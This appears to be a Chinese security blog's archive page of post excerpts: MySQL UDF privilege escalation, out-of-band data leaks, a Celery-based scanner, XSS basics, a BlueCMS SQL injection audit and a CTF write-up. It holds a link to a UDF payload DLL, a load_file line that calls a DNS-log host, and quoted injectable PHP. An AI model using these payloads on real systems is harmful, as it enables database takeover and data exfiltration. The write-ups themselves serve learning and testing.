Mysql Udf Exploit 复现小记

最近被问到mysql的udf(User-Defined Function), 被虐成狗, 没有用过就受到鄙视么…受伤。
所以把mysql的oob搞了一下之后这次来搞Udf提权了
先把payload放上来
windows32: https://github.com/Hood3dRob1n/SQLi/raw/master/myudf/payloads/32/lib_mysqludf_sys.dll
此github project还有windows64与linux, 请自取。 这里发现sqlmap的dll文件不能用, 不知道哪里发生了错误。

最重要的是, 还是对比了一下select * into dumpfileselect * into (out)file的区别:
dumpfile
outfile
dumpfile是用于写入文件, 不可分行, 即官网所说的 single unformatted row, 主要用于blob格式的字段
outfile 可用于写入多行数据, 格式化的文本数据 如csv:

1
2
3
4
SELECT customer_id, firstname, surname INTO OUTFILE '/exportdata/customers.txt'
FIELDS TERMINATED BY ',' OPTIONALLY ENCLOSED BY '"'
LINES TERMINATED BY '\n'
FROM customers;

Out of Band Exploit Tips

MySQL

长时间以来在MySQL中除了注入没有半点长进,最近就连注入也生疏了许多..然后发现有人老在提oob(out of band), 所以在mysql中对此进行一下复现
分别在以下环境下进行
用的同一个payload: select load_file('\\\\test.xxxx.dnslog.com\\a.txt')
在些记录一下,因为MySQL有一个权限为secure_file_priv, 此权限为空(不是NULL)的时候可以利用load_file/into outfile来写文件,如果是权限为NULL则不行。 另外此权限在5.5.53之前为空, 之后为NULL

Celery中使用importlib按需导包

最近在写扫描器的时候发现如果写死在run函数里边是很不明智的
这样的话每次都要将celery重启才可以生效,就想到了说可以不可以使用importlib来动态的导入
如此一来后期的插件添加时就不再需要重启celery了.

但是遇到了坑, 很容易就出现ImportError: No module named folder.script1或者TypeError: relative imports require the 'package' argument

我愁呀, 我一缕一缕的揪头发呀。

后来在celery issue上看到了相同的问题https://github.com/celery/celery/issues/3441

具体来说就是在tasks.py的路径加入了sys.path, 这样在找module的时候可以找的到该路径.
成功的代码如下

首先看tree

1
2
3
4
5
6
7
8
9
10
11
12
☁ tmp [master] ⚡ tree
.
├── __init__.py
├── folder
│   ├── __init__.py
│   ├── __init__.pyc
│   ├── script1.py
│   ├── script1.pyc
│   ├── script2.py
│   └── script2.pyc
├── tasks.py
└── tasks.pyc

tasks.py内容如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
#!/usr/bin/env python
# coding=utf-8
from os import path
from os import walk
from celery import Celery
import importlib
import time
import sys
import os
sys.path.append(os.getcwd()) # 这一行来将文件所在目录加入到sys.path中去
here = path.split(path.abspath(__file__))[0]
script_folder = "{0}/folder".format(here)
app = Celery("tasks", broker="redis://localhost:6379/0")
@app.task
def doWork():
print script_folder
_, _, files = walk(script_folder, True).next()
#print files
script_list = []
for f in files:
f = str(f)
if f.endswith(".py") and not f.startswith("_"):
f = f[:-3]
script_list.append(path.join(script_folder, f))
#print script_list
for script in script_list:
#print "script:\t" + script
script = ".".join(script.split("/"))[script.index("folder"):]
module = importlib.import_module(script, __name__)
t = getattr(module, "test")
tt = t("http://iqiyi.com")
result = tt.runFuzz()
print script + "[RESULT]" + str(result)
time.sleep(5)
if __name__ == '__main__':
doWork()

测试结果:
ipython处:

1
2
3
4
In [1]: from tasks import doWork
In [2]: doWork.delay()
Out[2]: <AsyncResult: 023253fc-722b-4433-9d8c-f9e6a76f988b>

celery启动处:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
-------------- celery@xxxxxxxxxxMacBook-Pro-7.local v4.1.0 (latentcall)
---- **** -----
--- * *** * -- Darwin-15.4.0-x86_64-i386-64bit 2017-08-27 21:31:56
-- * - **** ---
- ** ---------- [config]
- ** ---------- .> app: tasks:0x104f225d0
- ** ---------- .> transport: redis://localhost:6379/0
- ** ---------- .> results: disabled://
- *** --- * --- .> concurrency: 4 (prefork)
-- ******* ---- .> task events: OFF (enable -E to monitor tasks in this worker)
--- ***** -----
-------------- [queues]
.> celery exchange=celery(direct) key=celery
[tasks]
. tasks.doWork
[2017-08-27 21:31:57,109: INFO/MainProcess] Connected to redis://localhost:6379/0
[2017-08-27 21:31:57,119: INFO/MainProcess] mingle: searching for neighbors
[2017-08-27 21:31:58,149: INFO/MainProcess] mingle: all alone
[2017-08-27 21:31:58,162: INFO/MainProcess] celery@xxxxxxxxxxxMacBook-Pro-7.local ready.
[2017-08-27 21:32:11,311: INFO/MainProcess] Received task: tasks.doWork[023253fc-722b-4433-9d8c-f9e6a76f988b]
[2017-08-27 21:32:11,315: WARNING/ForkPoolWorker-3] /Users/xxxxxxxxx/Desktop/tools/tmp/folder
[2017-08-27 21:32:11,920: WARNING/ForkPoolWorker-3] folder.script1[RESULT]200
[2017-08-27 21:32:16,922: WARNING/ForkPoolWorker-3] folder.script2[RESULT]in script2.py, scan url:http://iqiyi.com
[2017-08-27 21:32:21,924: INFO/ForkPoolWorker-3] Task tasks.doWork[023253fc-722b-4433-9d8c-f9e6a76f988b] succeeded in 10.60855711s: None
^C
worker: Hitting Ctrl+C again will terminate all running tasks!

被动扫描那些事儿1

之前一直在手工的做漏洞的挖掘,其优点在于准确度高,可以发现其中很深的漏洞以及逻辑问题,但是这也是它的缺点,在深度挖掘的时候,并不能覆盖到测试的方方面面,所以一个半自动的扫描工具很适合的这样的情况 。

先来看一下主要的一些漏洞类型:

  1. 越权
  2. XSS,包括反射与存储
  3. SQL注入
  4. XXE
  5. CSRF
  6. 命令注入
  7. ImageMagick
  8. phpinfo/phpmyadmin泄露
  9. SSTI(server-side template injection)
  10. URL跳转与SSRF

这些问题,其中反射型XSS最容易检测,SQL注入可以用sqlmapapi来进行, 命令注入与SSTI也可以自动化来检测,而越权, ImageMagick ,存储XSS可以自己来测试,因为需要提交的表单或者 AJAX并不是太多, 而CSRF的关注点在于如果存在重要操作时,或者在self-xss时才会显得重要,所以手工来测就可以了。

这样的话,我们的目的就是一个被动扫描GET类型的反射XSS,SQL注入, 命令注入与 SSTI有扫描器。

扫描需要

  1. 一个代理
  2. 扫描脚本

v 1.0 BurpSuite

代理的话我第一版用的是burp, 每次使用burp suite时开启log保存,然后在代理结束之后对log进行解析,简单的进行解析,进行XSS与SQL注入扫描,探测是否存在URL跳转或者回显的SSRF(这里其实并不是SSRF,而是远程文件包含,但是目前没想到好的SSRF自动化发现的idea,所以拿这作为开头,因为存在远程文件包含的地方,可能会出现SSRF)。

v1.0 版本是有一些问题的,其一就是时实性不好,在这方面burpsuite是硬伤,当然也可能是我太懒,毕竟觉得写一个监测脚本来监测log日志的增加是不明智的,而且可能会出现请求还没完全写入日志,就被脚本读取,这时候并不是一个完整 的URL请求,所以后边就放弃了这种想法。

talk is cheap, show me the code
xssDetect

Xss编码

在公司里实习一段时间,收获很大,其中之一就是对于XSS的漏洞挖的更多了。之前认识XSS的危害不够,后来发现自己的认识浅薄。XSS能够在OWASP的TOP10排名上久居不下,是有其道理的。
但是长久以来,自己对XSS的认识就是乱插,姿势对了就爽了,姿势不对疼。所以这一篇是讲XSS的编码,以及一些XSS基础知识与防护。

XSS是什么

XSS(Cross-Site Scripting)跨站脚本攻击,本质上来说是一种Injection。不过注入的是一些HTML代码。XSS分为以下几类

  1. 存储型的XSS
  2. 反射型的XSS
  3. DOM的XSS(反射/存储XSS的)

从其中的名称就可以分别出来: 一个是持久型的,例如存入数据库,等下一个用户取出来时就会自动渲染并执行。隐蔽性很强,盗人COOKIE与无形中。 反射型的XSS也叫非持久型的XSS,且需要交互较强。是以危害略小。 而DOM型的XSS,根据不同的位置,也会出来存储与反射两种。 要理解DOM的XSS,首先要理解 DOM(文档对象模型)。 这里不是介绍前端,所以可以参考这个 来了解 DOM

那么接着说XSS。
XSS的难点是理解Javascript,如果不会JavaScrpit,那么很难搞定XSS的高级用户,听说黑哥可以用XSS来探测内网信息,或者XSS蠕虫。(but most of all, samy is my hero)。 我对JavaScript也不是很熟,所以这里自己学习的一些基础,如果各位大佬看到了不要笑话。

centos切换python2.7

之前一直在用Ubuntu系统,并没有接触过这一个问题,后来发现centos在稳定性与系统资源占用上还是略优于Ubuntu的。虽然界面比较丑.. Anyway, 在使用Centos时,不可避免的要接触到python版本的问题。 系统自带的Python版本是2.6, 而且yum依赖的也是2.6版本。但是很多工具要求使用python2.7版本。 不得不提一句,python的版本太乱了,且不兼容。 所以需要将Centos的python版本改为2.7。 这里总结了一下网上的方法,将自己成功安装的经验POST上来。

版本

  1. Centos: 6.X
  2. Python: 2.7

Bluecms-v1.6-Audit

这一次是想学一下代码审计,先从SQL注入开始,所以一章的内容都是关于SQL注入的。
这次的例子是bluecms v1.6, 因为这一个cms比较简单,比较适合新手。 so,let’s start.

第一个发现-数值型注入绕过空格

用seay的代码审计工具,在第一条我们发现了ad_js.php有一个select语句。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
$ad_id = !empty($_GET['ad_id']) ? trim($_GET['ad_id']) : '';
if(empty($ad_id))
{
echo 'Error!';
exit();
}
$ad = $db->getone("SELECT * FROM ".table('ad')." WHERE ad_id =".$ad_id);
if($ad['time_set'] == 0)
{
$ad_content = $ad['content'];
}
else
{
if($ad['end_time'] < time())
{
$ad_content = $ad['exp_content'];
}
else
{
$ad_content = $ad['content'];
}
}
$ad_content = str_replace('"', '\"',$ad_content);
$ad_content = str_replace("\r", "\\r",$ad_content);
$ad_content = str_replace("\n", "\\n",$ad_content);
echo "<!--\r\ndocument.write(\"".$ad_content."\");\r\n-->\r\n";

Njctf2017-Writeup

这次比赛暴露了一些知识层面的不足, 也有一些遗憾的事。MISC就不在这里写了。只写WEB

get flag

通过更改flag的值,如改成flag.txt,可以看到返回的base64编码。这同时也是一个目录遍历漏洞
过滤了|, 但是可以通过&&来绕过.
最后结果如下:
get-flag

|